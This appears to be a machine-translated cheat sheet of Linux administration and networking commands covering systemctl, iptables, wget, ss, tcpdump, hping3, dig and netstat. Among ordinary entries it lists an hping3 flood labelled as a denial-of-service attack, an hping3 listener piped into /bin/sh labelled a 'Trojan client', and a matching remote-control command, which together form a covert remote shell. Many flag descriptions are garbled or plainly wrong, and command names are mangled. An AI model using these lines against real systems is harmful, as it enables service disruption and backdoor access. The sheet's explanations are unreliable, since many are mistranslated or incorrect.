Summary of Common commands in Linux and summary of linux commands
Service -- status-all [service status]
Service MySQL restart [restart database]
Pstree-a [show complete commands for each program]
Pstree-c [not applicable to exact representation]
Pstree-l [display tree chart]
Pstree-h [number of columns]
Pstree-u [Display User Name]
Pstree-n [show program Identification Code]
Pstree-G [column plot character]
Systemctl enable httpd. service [enable a service]
Systemctl disable httpd. service [disable a service]
Systemctl status httpd. service [service Details]
System list-units -- type = service [display all enabled services]
Systemctl start httpd. service [enable a service]
Systemctl stop httpd. service [disable a service]
Systemctl restart httpd. service [restart a service]
Iptables-a input-p tcp -- dport 22-j ACCEPT [allow access to port 22]
Iptables-a input-p tcp -- dport 80-j ACCEPT [allow access to port 80]
Sudo systemctl status firewalld. service [Enable Firewall]
Sudo systemctl stop firewalld. service [disable firewall]
Sudo systemctl disable firewalld. service [disable firewall completely]
Halt-p [shut down the system]
Halt-d [disable the system and do not retain it]
Reboot [restart]
Reboot-w [simulated restart]
Shutdown-h [shutdown]
Shutdown-r [restart]
Poweroff-f [Force Shutdown]
Poweroff-I [disable network interfaces]
Wget https://www.linux.net/testfile.zip【single File Download]
Wget-c [breakpoint download]
Wget-B [Background download]
Wget-spider [test download]
Wget-I [Download multiple files]
Telnet-a [automatically log on to the remote system]
Telnet-k [do not log on to the system automatically]
Telnet-L [user name]
Rexec-p [Password]
Rexec-n [enter the user name and password explicitly]
Iptraf-I [enable traffic monitoring]
Iptraf-g [Network Interface Information]
Iptraf-d [enable traffic monitoring information]
Iptraf-z [show package count]
Iptraf-s [udp tcp traffic information]
Iptraf-l [Monitoring Workstation Information]
Iptraf-t [Monitoring Information]
Nstat-h [show help information]
Nstat-v [display version information]
Nstat-d [daemon command execution method]
Lnstat [Linux mode]
Ss-t-a [show the ICP link]
Ss-s [show sockets]
Ss-l [show open network interface]
Ss-pl [display process usage]
Ss-u-a [display UDP]
Ss-a [display all sockets]
Ss-I [display internal TCP information]
Ss-d [show DDCP]
Tcpdump-a [transfer broadcast Protocol]
Tcpdump-f [Digit Display]
Tcpdump-x [hexadecimal read Data]
Tcpdump-l [list buffers]
Tcpdump-I ethO [packet capture]
Tcpdump host IP [intercept IP packets]
Tcpdump-I ethO host name [intercept host Data]
Tcpdump-tcp port 23 host ip Address [monitoring data packets]
Hping3-S-c 1000000-a ip-p ip [firewall test]
Hping3-I ethO-aip-S ip-p 80-I u1000 [Denial of Service attack]
Hping3 192.168.10.66 -- listen signature -- safe -- udp-p 53 |/bin/sh [Trojan client]
Echo ls> test. cmd hping3 192.168.10.44-p53-d 100 -- udp -- sign siganature -- file./test. cmd [remote control terminal]
Host-a [DNS details]
Host-c [SOA Record]
Host-t [Domain Name Information type]
Host-v [Detailed execution Information]
Nslookup website [Domain Name Lookup]
Arping website
Arping-B [Ethernet broadcast frame]
Dig-p [domain name port number]
Dig-x [reverse resolution]
Arp-a [display buffer]
Arp-rl [specifying the usage type]
Arp-D [hardware interface address]
Arp-E [Linux display entry]
Arp-n [display entries in numeric mode]
Arp-v [Show Details]
Arp-f [Host IP and Mac ing]
Traceroute-I [Replace UDP with ICMP]
Traceroute-p [UDP port]
Traceroute-n [use IP address]
Traceroute-x [enable and disable data packets]
Netstat-a [list all ports]
Netstat-au [UDP port]
Netstat-lt [tcp port]
Netstat-lx [Unix port]
Netstat-st [tcp port]
Netstat-pt [PID process]
Netstat-C [route table information]
Netstat-at [tcp port]
Netstat-l [listener port]
Netstat-lu [UDP port listener]
Netstat-s [port details]
Netstat-su [UDP port]
Netstat-c [list network statuses]
Nststat-f [display FIB]